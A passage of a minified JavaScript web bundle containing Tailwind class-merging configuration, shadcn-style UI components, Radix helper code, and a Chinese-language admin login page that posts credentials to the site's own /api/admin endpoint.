}],"break-inside":[{"break-inside":["auto","avoid","avoid-page","avoid-column"]}],"box-decoration":[{"box-decoration":["slice","clone"]}],box:[{box:["border","content"]}],display:["block","inline-block","inline","flex","inline-flex","table","inline-table","table-caption","table-cell","table-column","table-column-group","table-footer-group","table-header-group","table-row-group","table-row","flow-root","grid","inline-grid","contents","list-item","hidden"],sr:["sr-only","not-sr-only"],float:[{float:["right","left","none","start","end"]}],clear:[{clear:["left","right","both","none","start","end"]}],isolation:["isolate","isolation-auto"],"object-fit":[{object:["contain","cover","fill","none","scale-down"]}],"object-position":[{object:I()}],overflow:[{overflow:O()}],"overflow-x":[{"overflow-x":O()}],"overflow-y":[{"overflow-y":O()}],overscroll:[{overscroll:L()}],"overscroll-x":[{"overscroll-x":L()}],"overscroll-y":[{"overscroll-y":L()}],position:["static","fixed","absolute","relative","sticky"],inset:[{inset:D()}],"inset-x":[{"inset-x":D()}],"inset-y":[{"inset-y":D()}],start:[{start:D()}],end:[{end:D()}],top:[{top:D()}],right:[{right:D()}],bottom:[{bottom:D()}],left:[{left:D()}],visibility:["visible","invisible","collapse"],z:[{z:[Ya,"auto",Fe,$e]}],basis:[{basis:[rl,"full","auto",c,...R()]}],"flex-direction":[{flex:["row","row-reverse","col","col-reverse"]}],"flex-wrap":[{flex:["nowrap","wrap","wrap-reverse"]}],flex:[{flex:[ut,rl,"auto","initial","none",$e]}],grow:[{grow:["",ut,Fe,$e]}],shrink:[{shrink:["",ut,Fe,$e]}],order:[{order:[Ya,"first","last","none",Fe,$e]}],"grid-cols":[{"grid-cols":_()}],"col-start-end":[{col:Z()}],"col-start":[{"col-start":ne()}],"col-end":[{"col-end":ne()}],"grid-rows":[{"grid-rows":_()}],"row-start-end":[{row:Z()}],"row-start":[{"row-start":ne()}],"row-end":[{"row-end":ne()}],"grid-flow":[{"grid-flow":["row","col","dense","row-dense","col-dense"]}],"auto-cols":[{"auto-cols":fe()}],"auto-rows":[{"auto-rows":fe()}],gap:[{gap:R()}],"gap-x":[{"gap-x":R()}],"gap-y":[{"gap-y":R()}],"justify-content":[{justify:[...xe(),"normal"]}],"justify-items":[{"justify-items":[...$(),"normal"]}],"justify-self":[{"justify-self":["auto",...$()]}],"align-content":[{content:["normal",...xe()]}],"align-items":[{items:[...$(),{baseline:["","last"]}]}],"align-self":[{self:["auto",...$(),{baseline:["","last"]}]}],"place-content":[{"place-content":xe()}],"place-items":[{"place-items":[...$(),"baseline"]}],"place-self":[{"place-self":["auto",...$()]}],p:[{p:R()}],px:[{px:R()}],py:[{py:R()}],ps:[{ps:R()}],pe:[{pe:R()}],pt:[{pt:R()}],pr:[{pr:R()}],pb:[{pb:R()}],pl:[{pl:R()}],m:[{m:H()}],mx:[{mx:H()}],my:[{my:H()}],ms:[{ms:H()}],me:[{me:H()}],mt:[{mt:H()}],mr:[{mr:H()}],mb:[{mb:H()}],ml:[{ml:H()}],"space-x":[{"space-x":R()}],"space-x-reverse":["space-x-reverse"],"space-y":[{"space-y":R()}],"space-y-reverse":["space-y-reverse"],size:[{size:oe()}],w:[{w:[c,"screen",...oe()]}],"min-w":[{"min-w":[c,"screen","none",...oe()]}],"max-w":[{"max-w":[c,"screen","none","prose",{screen:[o]},...oe()]}],h:[{h:["screen","lh",...oe()]}],"min-h":[{"min-h":["screen","lh","none",...oe()]}],"max-h":[{"max-h":["screen","lh",...oe()]}],"font-size":[{text:["base",n,Sc,Zi]}],"font-smoothing":["antialiased","subpixel-antialiased"],"font-style":["italic","not-italic"],"font-weight":[{font:[r,Fe,Im]}],"font-stretch":[{"font-stretch":["ultra-condensed","extra-condensed","condensed","semi-condensed","normal","semi-expanded","expanded","extra-expanded","ultra-expanded",Am,$e]}],"font-family":[{font:[G5,$e,e]}],"fvn-normal":["normal-nums"],"fvn-ordinal":["ordinal"],"fvn-slashed-zero":["slashed-zero"],"fvn-figure":["lining-nums","oldstyle-nums"],"fvn-spacing":["proportional-nums","tabular-nums"],"fvn-fraction":["diagonal-fractions","stacked-fractions"],tracking:[{tracking:[a,Fe,$e]}],"line-clamp":[{"line-clamp":[ut,"none",Fe,Im]}],leading:[{leading:[i,...R()]}],"list-image":[{"list-image":["none",Fe,$e]}],"list-style-position":[{list:["inside","outside"]}],"list-style-type":[{list:["disc","decimal","none",Fe,$e]}],"text-alignment":[{text:["left","center","right","justify","start","end"]}],"placeholder-color":[{placeholder:P()}],"text-color":[{text:P()}],"text-decoration":["underline","overline","line-through","no-underline"],"text-decoration-style":[{decoration:[...Y(),"wavy"]}],"text-decoration-thickness":[{decoration:[ut,"from-font","auto",Fe,Zi]}],"text-decoration-color":[{decoration:P()}],"underline-offset":[{"underline-offset":[ut,"auto",Fe,$e]}],"text-transform":["uppercase","lowercase","capitalize","normal-case"],"text-overflow":["truncate","text-ellipsis","text-clip"],"text-wrap":[{text:["wrap","nowrap","balance","pretty"]}],indent:[{indent:R()}],"vertical-align":[{align:["baseline","top","middle","bottom","text-top","text-bottom","sub","super",Fe,$e]}],whitespace:[{whitespace:["normal","nowrap","pre","pre-line","pre-wrap","break-spaces"]}],break:[{break:["normal","words","all","keep"]}],wrap:[{wrap:["break-word","anywhere","normal"]}],hyphens:[{hyphens:["none","manual","auto"]}],content:[{content:["none",Fe,$e]}],"bg-attachment":[{bg:["fixed","local","scroll"]}],"bg-clip":[{"bg-clip":["border","padding","content","text"]}],"bg-origin":[{"bg-origin":["border","padding","content"]}],"bg-position":[{bg:K()}],"bg-repeat":[{bg:V()}],"bg-size":[{bg:z()}],"bg-image":[{bg:["none",{linear:[{to:["t","tr","r","br","b","bl","l","tl"]},Ya,Fe,$e],radial:["",Fe,$e],conic:[Ya,Fe,$e]},Y5,q5]}],"bg-color":[{bg:P()}],"gradient-from-pos":[{from:U()}],"gradient-via-pos":[{via:U()}],"gradient-to-pos":[{to:U()}],"gradient-from":[{from:P()}],"gradient-via":[{via:P()}],"gradient-to":[{to:P()}],rounded:[{rounded:le()}],"rounded-s":[{"rounded-s":le()}],"rounded-e":[{"rounded-e":le()}],"rounded-t":[{"rounded-t":le()}],"rounded-r":[{"rounded-r":le()}],"rounded-b":[{"rounded-b":le()}],"rounded-l":[{"rounded-l":le()}],"rounded-ss":[{"rounded-ss":le()}],"rounded-se":[{"rounded-se":le()}],"rounded-ee":[{"rounded-ee":le()}],"rounded-es":[{"rounded-es":le()}],"rounded-tl":[{"rounded-tl":le()}],"rounded-tr":[{"rounded-tr":le()}],"rounded-br":[{"rounded-br":le()}],"rounded-bl":[{"rounded-bl":le()}],"border-w":[{border:J()}],"border-w-x":[{"border-x":J()}],"border-w-y":[{"border-y":J()}],"border-w-s":[{"border-s":J()}],"border-w-e":[{"border-e":J()}],"border-w-t":[{"border-t":J()}],"border-w-r":[{"border-r":J()}],"border-w-b":[{"border-b":J()}],"border-w-l":[{"border-l":J()}],"divide-x":[{"divide-x":J()}],"divide-x-reverse":["divide-x-reverse"],"divide-y":[{"divide-y":J()}],"divide-y-reverse":["divide-y-reverse"],"border-style":[{border:[...Y(),"hidden","none"]}],"divide-style":[{divide:[...Y(),"hidden","none"]}],"border-color":[{border:P()}],"border-color-x":[{"border-x":P()}],"border-color-y":[{"border-y":P()}],"border-color-s":[{"border-s":P()}],"border-color-e":[{"border-e":P()}],"border-color-t":[{"border-t":P()}],"border-color-r":[{"border-r":P()}],"border-color-b":[{"border-b":P()}],"border-color-l":[{"border-l":P()}],"divide-color":[{divide:P()}],"outline-style":[{outline:[...Y(),"none","hidden"]}],"outline-offset":[{"outline-offset":[ut,Fe,$e]}],"outline-w":[{outline:["",ut,Sc,Zi]}],"outline-color":[{outline:P()}],shadow:[{shadow:["","none",f,Tu,Eu]}],"shadow-color":[{shadow:P()}],"inset-shadow":[{"inset-shadow":["none",m,Tu,Eu]}],"inset-shadow-color":[{"inset-shadow":P()}],"ring-w":[{ring:J()}],"ring-w-inset":["ring-inset"],"ring-color":[{ring:P()}],"ring-offset-w":[{"ring-offset":[ut,Zi]}],"ring-offset-color":[{"ring-offset":P()}],"inset-ring-w":[{"inset-ring":J()}],"inset-ring-color":[{"inset-ring":P()}],"text-shadow":[{"text-shadow":["none",g,Tu,Eu]}],"text-shadow-color":[{"text-shadow":P()}],opacity:[{opacity:[ut,Fe,$e]}],"mix-blend":[{"mix-blend":[...B(),"plus-darker","plus-lighter"]}],"bg-blend":[{"bg-blend":B()}],"mask-clip":[{"mask-clip":["border","padding","content","fill","stroke","view"]},"mask-no-clip"],"mask-composite":[{mask:["add","subtract","intersect","exclude"]}],"mask-image-linear-pos":[{"mask-linear":[ut]}],"mask-image-linear-from-pos":[{"mask-linear-from":re()}],"mask-image-linear-to-pos":[{"mask-linear-to":re()}],"mask-image-linear-from-color":[{"mask-linear-from":P()}],"mask-image-linear-to-color":[{"mask-linear-to":P()}],"mask-image-t-from-pos":[{"mask-t-from":re()}],"mask-image-t-to-pos":[{"mask-t-to":re()}],"mask-image-t-from-color":[{"mask-t-from":P()}],"mask-image-t-to-color":[{"mask-t-to":P()}],"mask-image-r-from-pos":[{"mask-r-from":re()}],"mask-image-r-to-pos":[{"mask-r-to":re()}],"mask-image-r-from-color":[{"mask-r-from":P()}],"mask-image-r-to-color":[{"mask-r-to":P()}],"mask-image-b-from-pos":[{"mask-b-from":re()}],"mask-image-b-to-pos":[{"mask-b-to":re()}],"mask-image-b-from-color":[{"mask-b-from":P()}],"mask-image-b-to-color":[{"mask-b-to":P()}],"mask-image-l-from-pos":[{"mask-l-from":re()}],"mask-image-l-to-pos":[{"mask-l-to":re()}],"mask-image-l-from-color":[{"mask-l-from":P()}],"mask-image-l-to-color":[{"mask-l-to":P()}],"mask-image-x-from-pos":[{"mask-x-from":re()}],"mask-image-x-to-pos":[{"mask-x-to":re()}],"mask-image-x-from-color":[{"mask-x-from":P()}],"mask-image-x-to-color":[{"mask-x-to":P()}],"mask-image-y-from-pos":[{"mask-y-from":re()}],"mask-image-y-to-pos":[{"mask-y-to":re()}],"mask-image-y-from-color":[{"mask-y-from":P()}],"mask-image-y-to-color":[{"mask-y-to":P()}],"mask-image-radial":[{"mask-radial":[Fe,$e]}],"mask-image-radial-from-pos":[{"mask-radial-from":re()}],"mask-image-radial-to-pos":[{"mask-radial-to":re()}],"mask-image-radial-from-color":[{"mask-radial-from":P()}],"mask-image-radial-to-color":[{"mask-radial-to":P()}],"mask-image-radial-shape":[{"mask-radial":["circle","ellipse"]}],"mask-image-radial-size":[{"mask-radial":[{closest:["side","corner"],farthest:["side","corner"]}]}],"mask-image-radial-pos":[{"mask-radial-at":T()}],"mask-image-conic-pos":[{"mask-conic":[ut]}],"mask-image-conic-from-pos":[{"mask-conic-from":re()}],"mask-image-conic-to-pos":[{"mask-conic-to":re()}],"mask-image-conic-from-color":[{"mask-conic-from":P()}],"mask-image-conic-to-color":[{"mask-conic-to":P()}],"mask-mode":[{mask:["alpha","luminance","match"]}],"mask-origin":[{"mask-origin":["border","padding","content","fill","stroke","view"]}],"mask-position":[{mask:K()}],"mask-repeat":[{mask:V()}],"mask-size":[{mask:z()}],"mask-type":[{"mask-type":["alpha","luminance"]}],"mask-image":[{mask:["none",Fe,$e]}],filter:[{filter:["","none",Fe,$e]}],blur:[{blur:ue()}],brightness:[{brightness:[ut,Fe,$e]}],contrast:[{contrast:[ut,Fe,$e]}],"drop-shadow":[{"drop-shadow":["","none",y,Tu,Eu]}],"drop-shadow-color":[{"drop-shadow":P()}],grayscale:[{grayscale:["",ut,Fe,$e]}],"hue-rotate":[{"hue-rotate":[ut,Fe,$e]}],invert:[{invert:["",ut,Fe,$e]}],saturate:[{saturate:[ut,Fe,$e]}],sepia:[{sepia:["",ut,Fe,$e]}],"backdrop-filter":[{"backdrop-filter":["","none",Fe,$e]}],"backdrop-blur":[{"backdrop-blur":ue()}],"backdrop-brightness":[{"backdrop-brightness":[ut,Fe,$e]}],"backdrop-contrast":[{"backdrop-contrast":[ut,Fe,$e]}],"backdrop-grayscale":[{"backdrop-grayscale":["",ut,Fe,$e]}],"backdrop-hue-rotate":[{"backdrop-hue-rotate":[ut,Fe,$e]}],"backdrop-invert":[{"backdrop-invert":["",ut,Fe,$e]}],"backdrop-opacity":[{"backdrop-opacity":[ut,Fe,$e]}],"backdrop-saturate":[{"backdrop-saturate":[ut,Fe,$e]}],"backdrop-sepia":[{"backdrop-sepia":["",ut,Fe,$e]}],"border-collapse":[{border:["collapse","separate"]}],"border-spacing":[{"border-spacing":R()}],"border-spacing-x":[{"border-spacing-x":R()}],"border-spacing-y":[{"border-spacing-y":R()}],"table-layout":[{table:["auto","fixed"]}],caption:[{caption:["top","bottom"]}],transition:[{transition:["","all","colors","opacity","shadow","transform","none",Fe,$e]}],"transition-behavior":[{transition:["normal","discrete"]}],duration:[{duration:[ut,"initial",Fe,$e]}],ease:[{ease:["linear","initial",k,Fe,$e]}],delay:[{delay:[ut,Fe,$e]}],animate:[{animate:["none",C,Fe,$e]}],backface:[{backface:["hidden","visible"]}],perspective:[{perspective:[w,Fe,$e]}],"perspective-origin":[{"perspective-origin":I()}],rotate:[{rotate:ce()}],"rotate-x":[{"rotate-x":ce()}],"rotate-y":[{"rotate-y":ce()}],"rotate-z":[{"rotate-z":ce()}],scale:[{scale:ye()}],"scale-x":[{"scale-x":ye()}],"scale-y":[{"scale-y":ye()}],"scale-z":[{"scale-z":ye()}],"scale-3d":["scale-3d"],skew:[{skew:Re()}],"skew-x":[{"skew-x":Re()}],"skew-y":[{"skew-y":Re()}],transform:[{transform:[Fe,$e,"","none","gpu","cpu"]}],"transform-origin":[{origin:I()}],"transform-style":[{transform:["3d","flat"]}],translate:[{translate:Le()}],"translate-x":[{"translate-x":Le()}],"translate-y":[{"translate-y":Le()}],"translate-z":[{"translate-z":Le()}],"translate-none":["translate-none"],accent:[{accent:P()}],appearance:[{appearance:["none","auto"]}],"caret-color":[{caret:P()}],"color-scheme":[{scheme:["normal","dark","light","light-dark","only-dark","only-light"]}],cursor:[{cursor:["auto","default","pointer","wait","text","move","help","not-allowed","none","context-menu","progress","cell","crosshair","vertical-text","alias","copy","no-drop","grab","grabbing","all-scroll","col-resize","row-resize","n-resize","e-resize","s-resize","w-resize","ne-resize","nw-resize","se-resize","sw-resize","ew-resize","ns-resize","nesw-resize","nwse-resize","zoom-in","zoom-out",Fe,$e]}],"field-sizing":[{"field-sizing":["fixed","content"]}],"pointer-events":[{"pointer-events":["auto","none"]}],resize:[{resize:["none","","y","x"]}],"scroll-behavior":[{scroll:["auto","smooth"]}],"scroll-m":[{"scroll-m":R()}],"scroll-mx":[{"scroll-mx":R()}],"scroll-my":[{"scroll-my":R()}],"scroll-ms":[{"scroll-ms":R()}],"scroll-me":[{"scroll-me":R()}],"scroll-mt":[{"scroll-mt":R()}],"scroll-mr":[{"scroll-mr":R()}],"scroll-mb":[{"scroll-mb":R()}],"scroll-ml":[{"scroll-ml":R()}],"scroll-p":[{"scroll-p":R()}],"scroll-px":[{"scroll-px":R()}],"scroll-py":[{"scroll-py":R()}],"scroll-ps":[{"scroll-ps":R()}],"scroll-pe":[{"scroll-pe":R()}],"scroll-pt":[{"scroll-pt":R()}],"scroll-pr":[{"scroll-pr":R()}],"scroll-pb":[{"scroll-pb":R()}],"scroll-pl":[{"scroll-pl":R()}],"snap-align":[{snap:["start","end","center","align-none"]}],"snap-stop":[{snap:["normal","always"]}],"snap-type":[{snap:["none","x","y","both"]}],"snap-strictness":[{snap:["mandatory","proximity"]}],touch:[{touch:["auto","none","manipulation"]}],"touch-x":[{"touch-pan":["x","left","right"]}],"touch-y":[{"touch-pan":["y","up","down"]}],"touch-pz":["touch-pinch-zoom"],select:[{select:["none","text","all","auto"]}],"will-change":[{"will-change":["auto","scroll","contents","transform",Fe,$e]}],fill:[{fill:["none",...P()]}],"stroke-w":[{stroke:[ut,Sc,Zi,Im]}],stroke:[{stroke:["none",...P()]}],"forced-color-adjust":[{"forced-color-adjust":["auto","none"]}]},conflictingClassGroups:{overflow:["overflow-x","overflow-y"],overscroll:["overscroll-x","overscroll-y"],inset:["inset-x","inset-y","start","end","top","right","bottom","left"],"inset-x":["right","left"],"inset-y":["top","bottom"],flex:["basis","grow","shrink"],gap:["gap-x","gap-y"],p:["px","py","ps","pe","pt","pr","pb","pl"],px:["pr","pl"],py:["pt","pb"],m:["mx","my","ms","me","mt","mr","mb","ml"],mx:["mr","ml"],my:["mt","mb"],size:["w","h"],"font-size":["leading"],"fvn-normal":["fvn-ordinal","fvn-slashed-zero","fvn-figure","fvn-spacing","fvn-fraction"],"fvn-ordinal":["fvn-normal"],"fvn-slashed-zero":["fvn-normal"],"fvn-figure":["fvn-normal"],"fvn-spacing":["fvn-normal"],"fvn-fraction":["fvn-normal"],"line-clamp":["display","overflow"],rounded:["rounded-s","rounded-e","rounded-t","rounded-r","rounded-b","rounded-l","rounded-ss","rounded-se","rounded-ee","rounded-es","rounded-tl","rounded-tr","rounded-br","rounded-bl"],"rounded-s":["rounded-ss","rounded-es"],"rounded-e":["rounded-se","rounded-ee"],"rounded-t":["rounded-tl","rounded-tr"],"rounded-r":["rounded-tr","rounded-br"],"rounded-b":["rounded-br","rounded-bl"],"rounded-l":["rounded-tl","rounded-bl"],"border-spacing":["border-spacing-x","border-spacing-y"],"border-w":["border-w-x","border-w-y","border-w-s","border-w-e","border-w-t","border-w-r","border-w-b","border-w-l"],"border-w-x":["border-w-r","border-w-l"],"border-w-y":["border-w-t","border-w-b"],"border-color":["border-color-x","border-color-y","border-color-s","border-color-e","border-color-t","border-color-r","border-color-b","border-color-l"],"border-color-x":["border-color-r","border-color-l"],"border-color-y":["border-color-t","border-color-b"],translate:["translate-x","translate-y","translate-none"],"translate-none":["translate","translate-x","translate-y","translate-z"],"scroll-m":["scroll-mx","scroll-my","scroll-ms","scroll-me","scroll-mt","scroll-mr","scroll-mb","scroll-ml"],"scroll-mx":["scroll-mr","scroll-ml"],"scroll-my":["scroll-mt","scroll-mb"],"scroll-p":["scroll-px","scroll-py","scroll-ps","scroll-pe","scroll-pt","scroll-pr","scroll-pb","scroll-pl"],"scroll-px":["scroll-pr","scroll-pl"],"scroll-py":["scroll-pt","scroll-pb"],touch:["touch-x","touch-y","touch-pz"],"touch-x":["touch"],"touch-y":["touch"],"touch-pz":["touch"]},conflictingClassGroupModifiers:{"font-size":["leading"]},orderSensitiveModifiers:["*","**","after","backdrop","before","details-content","file","first-letter","first-line","marker","placeholder","selection"]}},eI=P5(Z5);function Et(...t){return eI(lj(t))}const tI=cj("inline-flex items-center justify-center gap-2 whitespace-nowrap rounded-md text-sm font-medium transition-all disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg:not([class*='size-'])]:size-4 shrink-0 [&_svg]:shrink-0 outline-none focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px]",{variants:{variant:{default:"bg-primary text-primary-foreground hover:bg-primary/90",destructive:"bg-destructive text-white hover:bg-destructive/90",outline:"border bg-background shadow-xs hover:bg-accent hover:text-accent-foreground",secondary:"bg-secondary text-secondary-foreground hover:bg-secondary/80",ghost:"hover:bg-accent hover:text-accent-foreground",link:"text-primary underline-offset-4 hover:underline"},size:{default:"h-9 px-4 py-2 has-[>svg]:px-3",sm:"h-8 rounded-md gap-1.5 px-3 has-[>svg]:px-2.5",lg:"h-10 rounded-md px-6 has-[>svg]:px-4",icon:"size-9","icon-sm":"size-8","icon-lg":"size-10"}},defaultVariants:{variant:"default",size:"default"}});function te({className:t,variant:e,size:n,asChild:r=!1,...a}){const i=r?ij:"button";return s.jsx(i,{"data-slot":"button",className:Et(tI({variant:e,size:n,className:t})),...a})}function se({className:t,type:e,...n}){return s.jsx("input",{type:e,"data-slot":"input",className:Et("h-9 w-full min-w-0 rounded-md border border-input bg-transparent px-3 py-1 text-base shadow-xs outline-none placeholder:text-muted-foreground disabled:pointer-events-none disabled:opacity-50 md:text-sm focus-visible:ring-2 focus-visible:ring-ring",t),...n})}function nI(){const t=Ci(),[e,n]=b.useState(""),[r,a]=b.useState(""),[i,o]=b.useState(""),[c,u]=b.useState(!1),h=async()=>{o(""),u(!0);try{const f=await vt("/api/admin",{username:e.trim(),password:r});if((f==null?void 0:f.success)!==!1&&(f!=null&&f.token)){ZA(f.token),t("/dashboard",{replace:!0});return}o(f.error||"用户名或密码错误")}catch(f){const m=f;o(m.status===401?"用户名或密码错误":(m==null?void 0:m.message)||"网络错误,请重试")}finally{u(!1)}};return s.jsxs("div",{className:"min-h-screen bg-[#0a1628] flex items-center justify-center p-4",children:[s.jsxs("div",{className:"absolute inset-0 overflow-hidden",children:[s.jsx("div",{className:"absolute top-1/4 left-1/4 w-96 h-96 bg-[#38bdac]/5 rounded-full blur-3xl"}),s.jsx("div",{className:"absolute bottom-1/4 right-1/4 w-96 h-96 bg-blue-500/5 rounded-full blur-3xl"})]}),s.jsxs("div",{className:"w-full max-w-md relative z-10",children:[s.jsxs("div",{className:"text-center mb-8",children:[s.jsx("div",{className:"w-16 h-16 bg-[#38bdac]/20 rounded-2xl flex items-center justify-center mx-auto mb-4 border border-[#38bdac]/30",children:s.jsx(_c,{className:"w-8 h-8 text-[#38bdac]"})}),s.jsx("h1",{className:"text-2xl font-bold text-white mb-2",children:"管理后台"}),s.jsx("p",{className:"text-gray-400",children:"一场SOUL的创业实验场"})]}),s.jsxs("div",{className:"bg-[#0f2137] rounded-2xl p-8 shadow-xl border border-gray-700/50 backdrop-blur-xl",children:[s.jsx("h2",{className:"text-xl font-semibold text-white mb-6 text-center",children:"管理员登录"}),s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-gray-400 text-sm mb-2",children:"用户名"}),s.jsxs("div",{className:"relative",children:[s.jsx(co,{className:"absolute left-3 top-1/2 -translate-y-1/2 w-5 h-5 text-gray-500"}),s.jsx(se,{type:"text",value:e,onChange:f=>n(f.target.value),placeholder:"请输入用户名",className:"pl-10 bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500 focus:border-[#38bdac]"})]})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-gray-400 text-sm mb-2",children:"密码"}),s.jsxs("div",{className:"relative",children:[s.jsx(QM,{className:"absolute left-3 top-1/2 -translate-y-1/2 w-5 h-5 text-gray-500"}),s.jsx(se,{type:"password",value:r,onChange:f=>a(f.target.value),placeholder:"请输入密码",className:"pl-10 bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500 focus:border-[#38bdac]",onKeyDown:f=>f.key==="Enter"&&h()})]})]}),i&&s.jsx("div",{className:"bg-red-500/10 text-red-400 text-sm p-3 rounded-lg border border-red-500/20",children:i}),s.jsx(te,{onClick:h,disabled:c,className:"w-full bg-[#38bdac] hover:bg-[#2da396] text-white py-5 disabled:opacity-50",children:c?"登录中...":"登录"})]})]}),s.jsx("p",{className:"text-center text-gray-500 text-xs mt-6",children:"Soul创业实验场 · 后台管理系统"})]})]})}const Ce=b.forwardRef(({className:t,...e},n)=>s.jsx("div",{ref:n,className:Et("rounded-xl border bg-card text-card-foreground shadow",t),...e}));Ce.displayName="Card";const Ye=b.forwardRef(({className:t,...e},n)=>s.jsx("div",{ref:n,className:Et("flex flex-col space-y-1.5 p-6",t),...e}));Ye.displayName="CardHeader";const Qe=b.forwardRef(({className:t,...e},n)=>s.jsx("h3",{ref:n,className:Et("font-semibold leading-none tracking-tight",t),...e}));Qe.displayName="CardTitle";const It=b.forwardRef(({className:t,...e},n)=>s.jsx("p",{ref:n,className:Et("text-sm text-muted-foreground",t),...e}));It.displayName="CardDescription";const Ee=b.forwardRef(({className:t,...e},n)=>s.jsx("div",{ref:n,className:Et("p-6 pt-0",t),...e}));Ee.displayName="CardContent";const rI=b.forwardRef(({className:t,...e},n)=>s.jsx("div",{ref:n,className:Et("flex items-center p-6 pt-0",t),...e}));rI.displayName="CardFooter";const sI={success:{bg:"#f0fdf4",border:"#22c55e",icon:"✓"},error:{bg:"#fef2f2",border:"#ef4444",icon:"✕"},info:{bg:"#eff6ff",border:"#3b82f6",icon:"ℹ"}};function Rm(t,e="info",n=3e3){const r=`toast-${Date.now()}`,a=sI[e],i=document.createElement("div");i.id=r,i.setAttribute("role","alert"),Object.assign(i.style,{position:"fixed",top:"24px",right:"24px",zIndex:"9999",display:"flex",alignItems:"center",gap:"10px",padding:"12px 18px",borderRadius:"10px",background:a.bg,border:`1.5px solid ${a.border}`,boxShadow:"0 4px 20px rgba(0,0,0,.12)",fontSize:"14px",color:"#1a1a1a",fontWeight:"500",maxWidth:"380px",lineHeight:"1.5",opacity:"0",transform:"translateY(-8px)",transition:"opacity .22s ease, transform .22s ease",pointerEvents:"none"});const o=document.createElement("span");Object.assign(o.style,{width:"20px",height:"20px",borderRadius:"50%",background:a.border,color:"#fff",display:"flex",alignItems:"center",justifyContent:"center",fontSize:"12px",fontWeight:"700",flexShrink:"0"}),o.textContent=a.icon;const c=document.createElement("span");c.textContent=t,i.appendChild(o),i.appendChild(c),document.body.appendChild(i),requestAnimationFrame(()=>{i.style.opacity="1",i.style.transform="translateY(0)"});const u=setTimeout(()=>h(r),n);function h(f){clearTimeout(u);const m=document.getElementById(f);m&&(m.style.opacity="0",m.style.transform="translateY(-8px)",setTimeout(()=>{var g;return(g=m.parentNode)==null?void 0:g.removeChild(m)},250))}}const ie={success:(t,e)=>Rm(t,"success",e),error:(t,e)=>Rm(t,"error",e),info:(t,e)=>Rm(t,"info",e)};function ot(t,e,{checkForDefaultPrevented:n=!0}={}){return function(a){if(t==null||t(a),n===!1||!a.defaultPrevented)return e==null?void 0:e(a)}}function aI(t,e){const n=b.createContext(e),r=i=>{const{children:o,...c}=i,u=b.useMemo(()=>c,Object.values(c));return s.jsx(n.Provider,{value:u,children:o})};r.displayName=t+"Provider";function a(i){const o=b.useContext(n);if(o)return o;if(e!==void 0)return e;throw new Error(`\`${i}\` must be used within \`${t}\``)}return[r,a]}function Ei(t,e=[]){let n=[];function r(i,o){const c=b.createContext(o),u=n.length;n=[...n,o];const h=m=>{var k;const{scope:g,children:y,...N}=m,w=((k=g==null?void 0:g[t])==null?void 0:k[u])||c,v=b.useMemo(()=>N,Object.values(N));return s.jsx(w.Provider,{value:v,children:y})};h.displayName=i+"Provider";function f(m,g){var w;const y=((w=g==null?void 0:g[t])==null?void 0:w[u])||c,N=b.useContext(y);if(N)return N;if(o!==void 0)return o;throw new Error(`\`${m}\` must be used within \`${i}\``)}return[h,f]}const a=()=>{const i=n.map(o=>b.createContext(o));return function(c){const u=(c==null?void 0:c[t])||i;return b.useMemo(()=>({[`__scope${t}`]:{...c,[t]:u}}),[c,u])}};return a.scopeName=t,[r,iI(a,...e)]}function iI(...t){const e=t[0];if(t.length===1)return e;const n=()=>{const r=t.map(a=>({useScope:a(),scopeName:a.scopeName}));return function(i){const o=r.reduce((c,{useScope:u,scopeName:h})=>{const m=u(i)[`__scope${h}`];return{...c,...m}},{});return b.useMemo(()=>({[`__scope${e.scopeName}`]:o}),[o])}};return n.scopeName=e.scopeName,n}var or=globalThis!=null&&globalThis.document?b.useLayoutEffect:()=>{},oI=uf[" useId ".trim().toString()]||(()=>{}),lI=0;function fi(t){const[e,n]=b.useState(oI());return or(()=>{n(r=>r??String(lI++))},[t]),e?`radix-${e}`:""}var cI=uf[" useInsertionEffect ".trim().toString()]||or;function xo({prop:t,defaultProp:e,onChange:n=()=>{},caller:r}){const[a,i,o]=dI({defaultProp:e,onChange:n}),c=t!==void 0,u=c?t:a;{const f=b.useRef(t!==void 0);b.useEffect(()=>{const m=f.current;m!==c&&console.warn(`${r} is changing from ${m?"controlled":"uncontrolled"} to ${c?"controlled":"uncontrolled"}. Components should not switch from controlled to uncontrolled (or vice versa). Decide between using a controlled or uncontrolled value for the lifetime of the component.`),f.current=c},[c,r])}const h=b.useCallback(f=>{var m;if(c){const g=uI(f)?f(t):f;g!==t&&((m=o.current)==null||m.call(o,g))}else i(f)},[c,t,i,o]);return[u,h]}function dI({defaultProp:t,onChange:e}){const[n,r]=b.useState(t),a=b.useRef(n),i=b.useRef(e);return cI(()=>{i.current=e},[e]),b.useEffect(()=>{var o;a.current!==n&&((o=i.current)==null||o.call(i,n),a.current=n)},[n,a]),[n,r,i]}function uI(t){return typeof t=="function"}function ed(t){const e=hI(t),n=b.forwardRef((r,a)=>{const{children:i,...o}=r,c=b.Children.toArray(i),u=c.find(pI);if(u){const h=u.props.children,f=c.map(m=>m===u?b.Children.count(h)>1?b.Children.only(null):b.isValidElement(h)?h.props.children:null:m);return s.jsx(e,{...o,ref:a,children:b.isValidElement(h)?b.cloneElement(h,void 0,f):null})}return s.jsx(e,{...o,ref:a,children:i})});return n.displayName=`${t}.Slot`,n}function hI(t){const e=b.forwardRef((n,r)=>{const{children:a,...i}=n;if(b.isValidElement(a)){const o=gI(a),c=mI(i,a.props);return a.type!==b.Fragment&&(c.ref=r?Hx(r,o):o),b.cloneElement(a,c)}return b.Children.count(a)>1?b.Children.only(null):null});return e.displayName=`${t}.SlotClone`,e}var fI=Symbol("radix.slottable");function pI(t){return b.isValidElement(t)&&typeof t.type=="function"&&"__radixId"in t.type&&t.type.__radixId===fI}function mI(t,e){const n={...e};for(const r in e){const a=t[r],i=e[r];/^on[A-Z]/.test(r)?a&&i?n[r]=(...c)=>{const u=i(...c);return a(...c),u}:a&&(n[r]=a):r==="style"?n[r]={...a,...i}:r==="className"&&(n[r]=[a,i].filter(Boolean).join(" "))}return{...t,...n}}function gI(t){var r,a;let e=(r=Object.getOwnPropertyDescriptor(t.props,"ref"))==null?void 0:r.get,n=e&&"isReactWarning"in e&&e.isReactWarning;return n?t.ref:(e=(a=Object.getOwnPropertyDescriptor(t,"ref"))==null?void 0:a.get,n=e&&"isReactWarning"in 